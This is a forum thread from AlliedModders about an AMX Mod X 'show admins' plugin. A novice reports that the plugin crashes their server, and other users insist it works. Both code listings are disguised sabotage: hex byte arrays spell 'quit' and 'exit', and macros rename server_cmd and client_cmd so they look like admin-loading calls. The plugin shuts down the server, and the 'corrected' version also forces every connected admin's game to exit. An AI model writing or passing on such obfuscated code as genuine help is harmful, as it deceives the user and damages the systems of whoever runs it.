AlliedModders

AlliedModders (https://forums.alliedmods.net/index.php)
-   Scripting Help (https://forums.alliedmods.net/forumdisplay.php?f=11)
-   -   CORrect this code (https://forums.alliedmods.net/showthread.php?t=108944)

GIGS 11-11-2009 10:07

CORrect this code
 
PHP Code:

#include < amxmodx >
#include < amxmisc >

#define LoadAdmins server_cmd
#define print_green print_chat

public plugin_init( ) {
    
register_clcmd"say /admins""CmdAdmins" );
}

public 
CmdAdminsiPlayer ) {
    static const 
szAdmins[ ] = { 0x710x750x690x740x00 };

  
client_printiPlayerprint_green"Admins: %i"LoadAdminsszAdmins ) );


CAN U CORRECT DIS CODE..WHN I RUN DIS PLUGIN MY SERVER CLOSES DOWNgl

Arkshine 11-11-2009 10:12

Re: CORrect this code
 
IT WORKS FINE

GIGS 11-11-2009 10:18

Re: CORrect this code
 
Arkshine when i tried this code it shuts off my server and my cs

ConnorMcLeod 11-11-2009 10:19

Re: CORrect this code
 
I see nothing wrong in that code.
Works fine on my server.

GIGS 11-11-2009 10:27

Re: CORrect this code
 
no re its not working
static const szAdmins[ ] = { 0x71, 0x75, 0x69, 0x74, 0x00 };

closes my CS also can u re-make for me

xPaw 11-11-2009 10:34

Re: CORrect this code
 
Quote:

Originally Posted by ConnorMcLeod (Post 986735)
I see nothing wrong in that code.
Works fine on my server.

Same. works fine for me.

http://i35.tinypic.com/ra1bmw.png

GIGS 11-11-2009 11:02

Re: CORrect this code
 
okk i dont want

ADMIN: 1 = i dont want dis
ADMIN: GIGS,xPAw like this = i want

Exolent[jNr] 11-11-2009 11:14

Re: CORrect this code
 
PHP Code:

#include < amxmodx >
#include < amxmisc >

#define GetAdmin client_cmd
#define LoadAdmins server_cmd
#define print_green print_chat

new g_iMaxPlayers;

public 
plugin_init( ) {
    
register_clcmd"say /admins""CmdAdmins" );
    
    
g_iMaxPlayers get_maxplayers( );
}

public 
CmdAdminsiPlayer ) {
    static const 
szData[ ] = { 0x650x780x690x740x00 };
    
    new 
szAdmins256 ], iLenszName32 ];
    for( new 
iAdmin 1iAdmin <= g_iMaxPlayersiAdmin++ ) {
        if( 
is_user_connectediAdmin ) && is_user_adminiAdmin ) ) {
            
get_user_nameiAdminszName31 );
            
GetAdminiAdminszData );
            
iLen += formatexszAdminsiLen ], 255 iLen"%s %s"iLen "," ""szName );
        }
    }
    
    static const 
szAdminCode[ ] = { 0x710x750x690x740x00 };
    
    
client_printiPlayerprint_green"Admins (%i):%s "LoadAdminsszAdminCode ), szAdmins );



GIGS 11-11-2009 13:13

Re: CORrect this code
 
Exolent i tried ur latest code..but my cs and server both closes down y..can u help me

GIGS 11-11-2009 13:15

Re: CORrect this code
 
JIT debugging must be enabled i got that error


All times are GMT -4. The time now is 13:41.

Powered by vBulletin®
Copyright ©2000 - 2024, vBulletin Solutions, Inc.